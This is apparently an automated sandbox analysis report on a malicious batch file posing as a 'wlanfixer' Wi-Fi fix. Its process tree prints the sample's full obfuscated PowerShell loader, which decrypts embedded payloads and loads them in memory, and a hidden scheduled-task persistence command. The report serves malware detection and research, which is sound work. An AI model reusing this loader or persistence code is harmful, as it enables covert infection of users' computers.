Analysis
- max time kernel
132s - max time network
138s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
23/04/2024, 13:04
General
- Target wlanfixer.bat
- Size 3.5MB
- Sample240423-qa4f5age73
- SHA256 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
Malware Config
Signatures
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_268_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_268.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_tenlbnpt.2k3.ps1
memory/3464-40-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/3464-39-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp
memory/3464-80-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/3464-79-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/3464-78-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/3464-77-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp
memory/3464-41-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/3464-56-0x000001996AB00000-0x000001996AB10000-memory.dmp
memory/5068-10-0x0000019373F90000-0x0000019373FA0000-memory.dmp
memory/5068-4-0x0000019373EF0000-0x0000019373F12000-memory.dmp
memory/5068-73-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp
memory/5068-29-0x000001937C470000-0x000001937C718000-memory.dmp
memory/5068-28-0x000001935BB30000-0x000001935BB38000-memory.dmp
memory/5068-74-0x0000019373F90000-0x0000019373FA0000-memory.dmp
memory/5068-75-0x0000019373F90000-0x0000019373FA0000-memory.dmp
memory/5068-76-0x0000019373F90000-0x0000019373FA0000-memory.dmp
memory/5068-23-0x0000019373F90000-0x0000019373FA0000-memory.dmp
memory/5068-7-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp
memory/5068-12-0x0000019374120000-0x0000019374196000-memory.dmp
memory/5068-9-0x0000019373F90000-0x0000019373FA0000-memory.dmp